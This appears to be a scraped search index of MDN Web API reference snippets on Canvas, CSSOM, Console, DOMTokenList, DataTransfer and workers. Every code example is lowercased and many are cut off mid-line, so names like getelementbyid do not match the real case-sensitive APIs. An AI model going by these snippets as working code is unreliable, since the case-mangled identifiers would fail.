example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("color"); console.log(cssvalue.getrgbcolorvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getrgbcolorvalue' in that specification.
CSSPrimitiveValue.getRectValue() - Web APIs
example var cs = window.getcomputedstyle(document.getelementbyid("clippeddiv")); var cssvalue = cs.getpropertycssvalue("clip"); console.log(cssvalue.getrectvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getrectvalue' in that specification.
CSSPrimitiveValue.getStringValue() - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("display"); console.log(cssvalue.getstringvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getstringvalue' in that specification.
CSSPrimitiveValue.primitiveType - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("color"); console.log(cssvalue.primitivetype); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.primitivetype' in that specification.
CSSPseudoElement.type - Web APIs
syntax var typeofpseudoelement = csspseudoelement.type; value a cssomstring containing one of the following values: "::before" "::after" "::marker" examples the example below demonstrates the relationship between csspseudoelement.type and element.pseudo(): const myelement = document.queryselector('q'); const myselector = '::after'; const csspseudoelement = myelement.pseudo(myselector); const typeofpseudoelement = csspseudoelement.type; console.log(myselector === typeofpseudoelement); // outputs true specifications specification status comment css pseudo-elements level 4the definition of 'type...
CSSStyleDeclaration.cssText - Web APIs
example <span id="s1" style="color: red;"> some text </span> <script> var elem = document.getelementbyid("s1"); alert(elem.style.csstext); // "color: red;" </script> specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration: csstext' in that specification.
CSSStyleDeclaration.getPropertyPriority() - Web APIs
"important") if one exists.
CSSStyleDeclaration.getPropertyValue() - Web APIs
example the following javascript code queries the value of the margin property in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var value = declaration.getpropertyvalue('margin'); // "1px 2px" specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertyvalue()' in that specification.
CSSStyleDeclaration.length - Web APIs
example the following gets the number of explicitly set styles on the following html element: <div id="div1" style="margin: 0 10px; background-color: #ca1; font-family: monospace"></div> javascript code: var mydiv = document.getelementbyid('div1'); var divstyle = mydiv.style; var len = divstyle.length; // 6 specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.length' in that specification.
CSSStyleRule.style - Web APIs
syntax styleobj = cssrule.style example function stilo() { alert(document.stylesheets[0].cssrules[0].style.csstext); } // displays "background-color: gray;" notes the declaration block is that part of the style rule that appears within the braces and that actually provides the style definitions (for the selector, the part that comes before the braces).
CSSStyleRule - Web APIs
"h1,h2".
CSSUnitValue.unit - Web APIs
WebAPICSSUnitValueunit
let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "em" )); console.log( pos.x.unit ); // "px" console.log( pos.y.unit ); // "em" specifications specification status comment css typed om level 1the definition of 'cssunitvalue.unit' in that specification.
CSSUnitValue.value - Web APIs
let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "px" )); console.log( pos.x.value ); // 5 console.log( pos.y.value ); // 10 specifications specification status comment css typed om level 1the definition of 'cssunitvalue.value' in that specification.
CSSUnparsedValue.CSSUnparsedValue() - Web APIs
examples let value = new cssunparsedvalue( ['4deg'] ), values = new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( value ); // cssunparsedvalue {0: "4deg", length: 1} console.log( values ); // cssunparsedvalue {0: "1em", 1: "#445566", 2: "-45px", length: 3} specifications specification status comment css typed om level 1the definition of 'cssunparsedvalue' in that specification.
CSSValue.cssText - Web APIs
WebAPICSSValuecssText
example var styledeclaration = document.stylesheets[0].cssrules[0].style; var cssvalue = styledeclaration.getpropertycssvalue("color"); console.log(cssvalue.csstext); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue.csstext' in that specification.
CSSValue - Web APIs
WebAPICSSValue
css_inherit the value is inherited and the csstext contains "inherit".
CSSVariableReferenceValue - Web APIs
this object functionality is sometimes called a "css variable" and serves the same purpose as the var() function.
Using the CSS properties and values API - Web APIs
right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } <button class="registered">background registered</button> <button class="unregistered">background not registered</button> .registered { --registered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee; background-image: line...
CSS Typed Object Model API - Web APIs
they "contain" one or more csstransformcomponents, which represent individual transform function values.
CacheStorage - Web APIs
those that aren't using https, although this definition will likely become more complex in the future.) when testing, you can get around this by checking the "enable service workers over http (when toolbox is open)" option in the firefox devtools options/gear menu.
CanvasCaptureMediaStreamTrack.canvas - Web APIs
example // find the canvas element to capture var canvaselt = document.getelementsbytagname("canvas")[0]; // get the stream var stream = canvaselt.capturestream(25); // 25 fps // do things to the stream ...
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
example // find the canvas element to capture var canvaselt = document.getelementsbytagname("canvas")[0]; // get the stream var stream = canvaselt.capturestream(25); // 25 fps // send the current state of the canvas as a frame to the stream stream.getvideotracks()[0].requestframe(); specifications specification status comment media capture from dom elementsthe definition of 'canvascapturemediastream.requestframe()' in that specification.
CanvasGradient.addColorStop() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let gradient = ctx.createlineargradient(0, 0, 200, 0); gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.7, 'white'); gradient.addcolorstop(1, 'pink'); ctx.fillstyle = gradient; ctx.fillrect(10, 10, 200, 100); result specifications specification status ...
CanvasRenderingContext2D.arc() - Web APIs
html <canvas width="150" height="200"></canvas> javascript const canvas = document.queryselector('canvas'); const ctx = canvas.getcontext('2d'); // draw shapes for (let i = 0; i <= 3; i++) { for (let j = 0; j <= 2; j++) { ctx.beginpath(); let x = 25 + j * 50; // x coordinate let y = 25 + i * 50; // y coordinate let radius = 20; ...
CanvasRenderingContext2D.beginPath() - Web APIs
html <canvas id="canvas"></canvas> javascript the beginpath() method is called before beginning each line, so that they may be drawn with different colors.
CanvasRenderingContext2D.canvas - Web APIs
syntax ctx.canvas; examples given this <canvas> element: <canvas id="canvas"></canvas> ...
CanvasRenderingContext2D.clearHitRegions() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set some hit regions ctx.addhitregion({id: 'eyes'}); ctx.addhitregion({id: 'nose'}); ctx.addhitregion({id: 'mouth'}); // remove them altogether from the canvas ctx.clearhitregions(); specifications canvas hit regions have been removed from the whatwg living standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.clearRect() - Web APIs
html <canvas id="canvas"></canvas> javascript the cleared area is rectangular in shape, with its top-left corner at (10, 10).
CanvasRenderingContext2D.createLinearGradient() - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); // create a linear gradient // the start gradient point is at x=20, y=0 // the end gradient point is at x=220, y=0 var gradient = ctx.createlineargradient(20,0, 220,0); // add three color stops gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.5, 'cyan'); gradient.addcolorst...
CanvasRenderingContext2D.createRadialGradient() - Web APIs
html <canvas id="canvas" width="200" height="200"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); // create a radial gradient // the inner circle is at x=110, y=90, with radius=30 // the outer circle is at x=100, y=100, with radius=70 var gradient = ctx.createradialgradient(110,90,30, 100,100,70); // add three color stops gradient.addcolorstop(0, 'pink')...
CanvasRenderingContext2D.currentTransform - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let matrix = ctx.currenttransform; matrix.a = 1; matrix.b = 1; matrix.c = 0; matrix.d = 1; matrix.e = 0; matrix.f = 0; ctx.currenttransform = matrix; ctx.fillrect(0, 0, 100, 100); result ...
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
html <canvas id="canvas"> <button id="button1">continue</button> <button id="button2">quit</button> </canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const button1 = document.getelementbyid('button1'); const button2 = document.getelementbyid('button2'); document.addeventlistener('focus', redraw, true); document.addeventlistener('blur', redraw, true)...
CanvasRenderingContext2D.fillRect() - Web APIs
html <canvas id="canvas"></canvas> javascript the rectangle's top-left corner is at (20, 10).
CanvasRenderingContext2D.font - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = 'bold 48px serif'; ctx.stroketext('hello world', 50, 100); result loading fonts with the css font loading api with the help of the fontface api, you can explicitly load fonts before using them in a canvas.
CanvasRenderingContext2D.getImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript the object retrieved by getimagedata() has a width of 200 and a height of 100, for a total of 20,000 pixels.
CanvasRenderingContext2D.getLineDash() - Web APIs
html <canvas id="canvas"></canvas> javascript as set by setlinedash(), strokes consist of lines that are 10 units wide, with spaces of 20 units in between each line.
CanvasRenderingContext2D.getTransform() - Web APIs
html <canvas width="240"></canvas> <canvas width="240"></canvas> css canvas { border: 1px solid black; } javascript const canvases = document.queryselectorall('canvas'); const ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settra...
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalcompositeoperation = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasren...
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
html <canvas id="canvas" width="460" height="210"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '16px sans-serif'; ctx.textalign = 'center'; const img = new image(); img.src = 'https://interactive-examples.mdn.mozilla.net/media/examples/star.png'; img.onload = function() { const w = img.width, h = img.height; ctx.filltext('s...
CanvasRenderingContext2D.lineWidth - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 15; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(130, 130); ctx.rect(40, 40, 70, 70); ctx.stroke(); result more examples for more examples and explanation about this property, see applying styles and color in the canvas tutorial.
CanvasRenderingContext2D.measureText() - Web APIs
example given this <canvas> element: <canvas id="canvas"></canvas> ...
CanvasRenderingContext2D.moveTo() - Web APIs
html <canvas id="canvas"></canvas> javascript the first line begins at (50, 50) and ends at (200, 50).
CanvasRenderingContext2D.rect() - Web APIs
html <canvas id="canvas"></canvas> javascript the rectangle's corner is located at (10, 20).
CanvasRenderingContext2D.removeHitRegion() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set a hit region ctx.addhitregion({id: 'eyes'}); // remove it from the canvas ctx.removehitregion('eyes'); specifications canvas hit regions have been removed from the whatwg living standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.restore() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe ...
CanvasRenderingContext2D.save() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe ...
CanvasRenderingContext2D.shadowBlur - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowblur = 15; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowblu...
CanvasRenderingContext2D.shadowOffsetX - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrend...
CanvasRenderingContext2D.shadowOffsetY - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsety = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 80); result specifications specification status comment html living standardthe definition of 'canvasrende...
CanvasRenderingContext2D.transform() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.transform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.transform' in that specification.
CanvasRenderingContext2D.translate() - Web APIs
html <canvas id="canvas"></canvas> javascript the translate() method translates the context by 110 horizontally and 30 vertically.
CanvasRenderingContext2D - Web APIs
basic example to get a canvasrenderingcontext2d instance, you must first have an html <canvas> element to work with: <canvas id="my-house" width="300" height="300"></canvas> to get the canvas' 2d rendering context, call getcontext() on the <canvas> element, supplying '2d' as the argument: const canvas = document.getelementbyid('my-house'); const ctx = canvas.getcontext('2d'); with the context in hand, you can draw anything you like.
Compositing and clipping - Web APIs
wstar(ctx, math.floor(math.random() * 4) + 2); ctx.restore(); } } function drawstar(ctx, r) { ctx.save(); ctx.beginpath(); ctx.moveto(r, 0); for (var i = 0; i < 9; i++) { ctx.rotate(math.pi / 5); if (i % 2 === 0) { ctx.lineto((r / 0.525731) * 0.200811, 0); } else { ctx.lineto(r, 0); } } ctx.closepath(); ctx.fill(); ctx.restore(); } <canvas id="canvas" width="150" height="150"></canvas> draw(); in the first few lines of code, we draw a black rectangle the size of the canvas as a backdrop, then translate the origin to the center.
Finale - Web APIs
WebAPICanvas APITutorialFinale
questions stack overflow questions tagged with "canvas".
Optimizing canvas - Web APIs
<div id="stage"> <canvas id="ui-layer" width="480" height="320"></canvas> <canvas id="game-layer" width="480" height="320"></canvas> <canvas id="background-layer" width="480" height="320"></canvas> </div> <style> #stage { width: 480px; height: 320px; position: relative; border: 2px solid black; } canvas { position: absolute; } #ui-layer { z-index: 3; } #game-layer { z-inde...
Canvas API - Web APIs
html <canvas id="canvas"></canvas> javascript the document.getelementbyid() method gets a reference to the html <canvas> element.
ChannelMergerNode - Web APIs
number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor channelmergernode() creates a new channelmergernode object instance.
ChildNode.remove() - Web APIs
WebAPIChildNoderemove
syntax node.remove(); example using remove() <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <div id="div-03">here is div-03</div> var el = document.getelementbyid('div-02'); el.remove(); // removes the div with the 'div-02' id childnode.remove() is unscopable the remove() method is not scoped into the with statement.
Client.frameType - Web APIs
WebAPIClientframeType
this value can be one of "auxiliary", "top-level", "nested", or "none".
Client - Web APIs
WebAPIClient
it can be "window", "worker", or "sharedworker".
Clients - Web APIs
WebAPIClients
client.focus(); chatclient = client; break; } } // if we didn't find an existing chat window, // open a new one: if (!chatclient) { chatclient = await clients.openwindow('/chat/'); } // message the client: chatclient.postmessage("new chat messages!"); }()); }); specifications specification status comment service workersthe definition of 'clients' in that specification.
Clipboard API - Web APIs
accessing the clipboard instead of creating a clipboard object through instantiation, you access the system clipboard through the navigator.clipboard global: navigator.clipboard.readtext().then( cliptext => document.queryselector(".editor").innertext += cliptext); this snippet fetches the text from the clipboard and appends it to the first element found with the class editor.
Comment() - Web APIs
WebAPICommentComment
syntax comment1 = new comment(); // create an empty comment comment2 = new comment("this is a comment"); example var comment = new comment("test"); specifications specification status comment domthe definition of 'comment: comment' in that specification.
console.assert() - Web APIs
WebAPIConsoleassert
const errormsg = 'the # is not even'; for (let number = 2; number <= 5; number += 1) { console.log('the # is ' + number); console.assert(number % 2 === 0, {number: number, errormsg: errormsg}); // or, using es2015 object property shorthand: // console.assert(number % 2 === 0, {number, errormsg}); } // output: // the # is 2 // the # is 3 // assertion failed: {number: 3, errormsg: "the # is not even"} // the # is 4 // the # is 5 // assertion failed: {number: 5, errormsg: "the # is not even"} note that, while a string containing a substitution string works as a parameter for console.log in node and many, if not most, browsers...
console.debug() - Web APIs
WebAPIConsoledebug
the console method debug() outputs a message to the web console at the "debug" log level.
Console.group() - Web APIs
WebAPIConsolegroup
for example, given this code: console.log("this is the outer level"); console.group(); console.log("level 2"); console.group(); console.log("level 3"); console.warn("more of level 3"); console.groupend(); console.log("back to level 2"); console.groupend(); console.log("back to the outer level"); the output looks like this: see using groups in the console in the documentation of console for more details.
Console.info() - Web APIs
WebAPIConsoleinfo
in firefox, a small "i" icon is displayed next to these items in the web console's log.
Console API - Web APIs
examples let mystring = 'hello world'; // output "hello world" to the console console.log(mystring) see the console reference page for more examples.
Constraint validation API - Web APIs
examples take the following form: <form> <label for="name">enter username (upper and lowercase letters): </label> <input type="text" name="name" id="name" required pattern="[a-za-z]+"> <button>submit</button> </form> the basic html form validation features will cause this to produce a default error message if you try to submit the form with either no valid filled in, or a value that does not match the pattern.
ConvolverNode.buffer - Web APIs
= new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
ConvolverNode.normalize - Web APIs
= new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
CountQueuingStrategy.CountQueuingStrategy() - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy()' in that specification.
CountQueuingStrategy.size() - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment streamsthe definition of 'size' in that specification.
CountQueuingStrategy - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queueingstrategy); var size = queueingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy' in that specification.
CrashReportBody - Web APIs
some sample json might look like this: { "type": "crash", "age": 42, "url": "https://example.com/", "user_agent": "mozilla/5.0 (x11; linux x86_64; rv:60.0) gecko/20100101 firefox/60.0", "body": { "reason": "oom" } } note: crash reports are always delivered to the endpoint group named default; there is currently no way to override this.
CredentialsContainer.create() - Web APIs
it must include one of the options "password", "federated", or "publickey".
Crypto.getRandomValues() - Web APIs
examples /* assuming that window.crypto.getrandomvalues is available */ var array = new uint32array(10); window.crypto.getrandomvalues(array); console.log("your lucky numbers:"); for (var i = 0; i < array.length; i++) { console.log(array[i]); } specification specification status comment web cryptography api recommendation initial definition ...
CustomElementRegistry.upgrade() - Web APIs
examples taken from the html spec: const el = document.createelement("spider-man"); class spiderman extends htmlelement {} customelements.define("spider-man", spiderman); console.assert(!(el instanceof spiderman)); // not yet upgraded customelements.upgrade(el); console.assert(el instanceof spiderman); // upgraded!
CustomElementRegistry.whenDefined() - Web APIs
<nav id="menu-container"> <div class="menu-placeholder">loading...</div> <nav-menu> <menu-item>item 1</menu-item> <menu-item>item 2</menu-item> ...
CustomEvent.detail - Web APIs
example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event let event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); // will return an object contaning the hazcheeseburger property let mydetail = event.detail; specifications specification status comment domthe definition of 'detail' in that specification.
DOMConfiguration - Web APIs
pre-defined parameters: "canonical-form", "cdata-sections", "check-character-normalization", "comments", "datatype-normalization", "element-content-whitespace", "entities", "error-handler", "infoset", "namespaces", "namespace-declarations", "normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a domstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfigurati...
DOMMatrixReadOnly.flipX() - Web APIs
<svg width="100" height="100" viewbox="-50 0 100 100"> <path fill="red" d="m 0 50 l 50 0 l 50 100 z" /> <path id="flipped" fill="blue" d="m 0 50 l 50 0 l 50 100 z" /> </svg> this javascript first creates an identity matrix, then uses the `flipx()` method to create a new matrix, which is then applied to the blue triangle, inverting it across the x-axis.
DOMMatrixReadOnly.scale() - Web APIs
examples this svg contains three squares, one red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fill="green" /> </svg> this javascript first creates an identity matrix, then uses the scale() method to create a new matrix with a single parameter.
DOMMatrixReadOnly.translate() - Web APIs
examples this svg contains two squares, one red and one blue, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 50 50"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> </svg> the following javascript first creates an identity matrix, then uses the translate() method to create a new, translated matrix — which is then applied to the blue square as a transform.
DOMRectReadOnly - Web APIs
note that this constructor cannot be called by 3rd party javascript; doing so returns an "illegal constructor" typeerror.
Binary strings - Web APIs
WebAPIDOMStringBinary
for instance, the string "hello world!" belongs to the ascii subset, while the string "ÀÈÌÒÙ" does not.
DOMString - Web APIs
WebAPIDOMString
passing null to a method or parameter accepting a domstring typically stringifies to "null".
DOMTokenList.add() - Web APIs
WebAPIDOMTokenListadd
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.add("d"); span.textcontent = classes; the output looks like this: you can add multiple tokens as well: span.classlist.add("d", "e", "f"); specifications specification status comment domthe definition of 'add()' in that specification.
DOMTokenList.entries() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.entries(); for (let value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'entries() (as iterable<node>)' in that specification.
DOMTokenList.forEach() - Web APIs
html <span class="a b c"></span> javascript let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.values(); classes.foreach( function(value, key, listobj) { span.textcontent += `${value} ${key}/${this} ++ `; }, "arg" ); result polyfill this polyfill adds compatibility to all browsers supporting es5: if (window.domtokenlist && !domtokenlist.prototype.for...
DOMTokenList.item() - Web APIs
WebAPIDOMTokenListitem
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let item = classes.item(classes.length-1); span.textcontent = item; the output looks like this: specifications specification status comment domthe definition of 'item()' in that specification.
DOMTokenList.keys() - Web APIs
WebAPIDOMTokenListkeys
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.keys(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'keys() (as iterable<node>)' in that specification.
DOMTokenList.length - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let length = classes.length; span.textcontent = `classlist length = ${length}`; the output looks like this: specifications specification status comment domthe definition of 'length' in that specification.
DOMTokenList.replace() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.replace("c", "z"); console.log(result); if (result) { span.textcontent = classes; } else { span.textcontent = 'token not replaced successfully'; } the output looks like this: polyfill the following polyfill will add the replace method to the domtokenlist cla...
DOMTokenList.toggle() - Web APIs
first, the html: <span class="a b">classlist is 'a b'</span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.addeventlistener('click', function() { let result = classes.toggle("c"); if (result) { span.textcontent = `'c' added; classlist is now "${classes}".`; } else { span.textcontent = `'c' removed; classlist is now "${classes}".`; } }) the output looks l...
DOMTokenList.value - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.textcontent = classes.value; the output looks like this: specifications specification status comment domthe definition of 'value' in that specification.
DOMTokenList.values() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.values(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'values() (as iterable<node>)' in that specification.
DataTransfer.mozClearDataAt() - Web APIs
function dragend_handler(event) { var dt = event.datatransfer; // remove a text/html item dt.mozcleardataat("text/html", 1); } specifications this method is not defined in any web standard.
DataTransfer.mozCursor - Web APIs
function drop_handler(event) { var dragdata = event.datatransfer; console.log("mozcursor = " + dragdata.mozcursor); } specifications this property is not defined in any web standard.
DataTransfer.mozGetDataAt() - Web APIs
function drop_handler(event) { var dt = event.datatransfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex);...
DataTransfer.mozItemCount - Web APIs
function drop_handler(event) { var files = []; var dt = event.datatransfer; for (var i = 0; i < dt.mozitemcount; i++) files.push(dt.mozgetdataat("application/x-moz-file", i)); } specifications this property is not defined in any web standard.
DataTransfer.mozSetDataAt() - Web APIs
function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard.
DataTransfer.mozSourceNode - Web APIs
function dragend_handler(event) { var dragdata = event.datatransfer; var node = dragdata.mozsourcenode; if (node != null) console.log("mozsourcenode = " + dragdata.mozsourcenode); else console.log("mozsourcenode is null"); } specifications this property is not defined in any web standard.
DataTransfer.mozTypesAt() - Web APIs
function drop_handler(event) { var dt = event.datatransfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex);...
DataTransfer.mozUserCancelled - Web APIs
function dragend_handler(event) { var dragdata = event.datatransfer; console.log("mozusercancelled = " + dragdata.mozusercancelled); } specifications this property is not defined in any web standard.
DedicatedWorkerGlobalScope: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and sends it a message using worker.postmessage(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); the worker can listen for this message using addeventlistener(): // inside static/scripts/worker.js self.addeventlistener('message', (event) => { console.log(`received message from parent: ${event.data}`); }); alternatively, it could listen using...
DedicatedWorkerGlobalScope.name - Web APIs
example if a worker is created using a constructor with a name option: var myworker = new worker("worker.js", { name : "myworker" }); the dedicatedworkerglobalscope will now have a name of "myworker", returnable by running self.name from inside the worker.
DedicatedWorkerGlobalScope.onmessage - Web APIs
var myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, a dedicatedworkerglobalscope.onmessage handler is used to handle messages from the main script: onmessage = functio...
DelayNode - Web APIs
WebAPIDelayNode
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor delaynode() creates a new instance of an delaynode object instance.
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
syntax var devicemotionevent = new devicemotionevent(type[, options]) parameters type must be "devicemotion".
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
